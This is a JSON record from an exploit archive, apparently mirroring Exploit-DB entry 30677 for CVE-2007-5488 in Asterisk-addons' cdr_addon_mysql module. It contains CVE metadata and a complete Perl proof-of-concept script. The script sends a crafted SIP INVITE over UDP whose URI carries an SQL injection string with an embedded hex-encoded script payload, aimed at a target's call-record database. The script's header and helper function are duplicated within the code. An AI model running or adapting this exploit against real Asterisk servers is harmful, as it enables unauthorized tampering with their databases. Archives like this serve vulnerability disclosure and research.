{"exploit":{"id":"EDB-30677","name":"Asterisk 'asterisk-addons' 1.2.7/1.4.3 - CDR_ADDON_MYSQL Module SQL Injection (SQLi)","description":"Asterisk 'asterisk-addons' 1.2.7/1.4.3 - CDR_ADDON_MYSQL Module SQL Injection (SQLi)","cves":["CVE-2007-5488"],"author":"Humberto J. Abdelnur","published":"2007-10-16","platform":"linux","type":"remote","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/30677","path":"exploits/linux/remote/30677.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-30677.pl","vulnerabilities":[{"id":"CVE-2007-5488","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple SQL injection vulnerabilities in cdr_addon_mysql in Asterisk-Addons before 1.2.8, and 1.4.x before 1.4.4, allow remote attackers to execute arbitrary SQL commands via the (1) source and (2) destination numbers, and probably (3) SIP URI, when inserting a record.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-5488","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-5488"},"updatedAt":"2024-08-07T15:31:58.944Z","retrievedAt":"2026-11-27T11:12:13.175Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-30677.png?v=2","url":"https://exploitbin.com/exploits/EDB-30677","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-30677/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-30677/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#source: https://web.archive.org/web/2007/https://www.securityfocus.com/bid/26095/info\n#\n#Asterisk 'asterisk-addons' package is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.\n#\n#Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.\n#\n#This issue affects these versions:\n#\n#'asterisk-addons' prior to 1.2.8 when used with Asterisk Open Source 1.2.x\n#'asterisk-addons' prior to 1.4.4 when used with Asterisk Open Source 1.4.x\n\n\n\n\n#############################################\n# Vulnerabily discovered using KiF ~ Kiph   #\n#                                           #\n# Authors:                                  #\n#       Humberto J. Abdelnur (Ph.D Student)     #\n#       Radu State (Ph.D)                       #\n#       Olivier Festor (Ph.D)                   #\n#                                           #\n# Madynes Team, LORIA - INRIA Lorraine      #\n# http://madynes.loria.fr                   #\n#############################################\n\nuse IO::Socket::INET;\nuse String::Random;\n$foo = new String::Random;\n\ndie \"Usage $0 <callUser> <targetIP> <targetPort> <attackerUser> <localIP>\n<localPort>\" unless ($ARGV[5]);\n\nsub iso2hex($) {\n          my $hex = '';\n          for (my $i = 0; $i < length($_[0]); $i++) {\n                  my $ordno = ord substr($_[0], $i, 1);\n                  $hex .= sprintf(\"%lx\", $ordno);\n          }\n\n          $hex =~ s/ $//;;\n          $hex;\n}\n\n\n#!/usr/bin/perl\n\n#############################################\n# Vulnerabily discovered using KiF ~ Kiph   #\n#                                           #\n# Authors:                                  #\n#       Humberto J. Abdelnur (Ph.D Student)     #\n#       Radu State (Ph.D)                       #\n#       Olivier Festor (Ph.D)                   #\n#                                           #\n# Madynes Team, LORIA - INRIA Lorraine      #\n# http://madynes.loria.fr                   #\n#############################################\n\nuse IO::Socket::INET;\nuse String::Random;\n$foo = new String::Random;\n\ndie \"Usage $0 <callUser> <targetIP> <targetPort> <attackerUser> <localIP>\n<localPort>\" unless ($ARGV[5]);\n\nsub iso2hex($) {\n          my $hex = '';\n          for (my $i = 0; $i < length($_[0]); $i++) {\n                  my $ordno = ord substr($_[0], $i, 1);\n                  $hex .= sprintf(\"%lx\", $ordno);\n          }\n\n          $hex =~ s/ $//;;\n          $hex;\n}\n\n\n$callUser = $ARGV[0];\n$targetIP = $ARGV[1];\n$targetPort = $ARGV[2];\n\n$attackerUser = $ARGV[3];\n$attackerIP= $ARGV[4];\n$attackerPort= $ARGV[5];\n\n$socket=new IO::Socket::INET->new(\n                Proto=>'udp',\n                PeerPort=>$targetPort,\n        PeerAddr=>$targetIP,\n                LocalPort=>$attackerPort);\n\n$scriptinjection= iso2hex(\"<script>alert(1)</script>\");\n$sqlinjection= \"',1,2,3,4,5,-9,-9,0x$scriptinjection,6,7,8)/*\";\n\n$callid= $foo->randpattern(\"CCccnCn\");\n$cseq = $foo->randregex('\\d\\d\\d\\d');\n\n$sdp = \"v=0\\r\no=Lupilu 63356722367567875 63356722367567875 IN IP4 $attackerIP\\r\ns=-\\r\nc=IN IP4 $attackerIP\\r\nt=0 0\\r\nm=audio 49152 RTP/AVP 96 0 8 97 18 98 13\\r\na=sendrecv\\r\na=ptime:20\\r\na=maxptime:200\\r\na=fmtp:96 mode-change-neighbor=1\\r\na=fmtp:18 annexb=no\\r\na=fmtp:98 0-15\\r\na=rtpmap:96 AMR/8000/1\\r\na=rtpmap:0 PCMU/8000/1\\r\na=rtpmap:8 PCMA/8000/1\\r\na=rtpmap:97 iLBC/8000/1\\r\na=rtpmap:18 G729/8000/1\\r\na=rtpmap:98 telephone-event/8000/1\\r\na=rtpmap:13 CN/8000/1\\r\n\";\n$sdplen= length $sdp;\n\n$msg = \"INVITE sip:$sqlinjection\\$targetIP SIP/2.0\\r\nVia: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1;rport\\r\nFrom: <sip:$attackerUser\\$attackerIP>;tag=1\\r\nTo: <sip:$callUser\\$targetIP>\\r\nCall-ID: $callid\\$attackerIP\\r\nCSeq: $cseq INVITE\\r\nMax-Forwards: 70\\r\nContact: <sip:$attackerUser\\$attackerIP>\\r\nContent-Type: application/sdp\\r\nContent-Length: $sdplen\\r\n\\r\n$sdp\";\n\n$socket->send($msg);","sha256":"c351edf5110bddd2b0443ada9534759393d733f60628523f75e98a72565a4557","bytes":3967,"fetchedAt":"2026-11-27T11:12:07.480Z","encoding":"utf-8 (display only; download retains original bytes)"}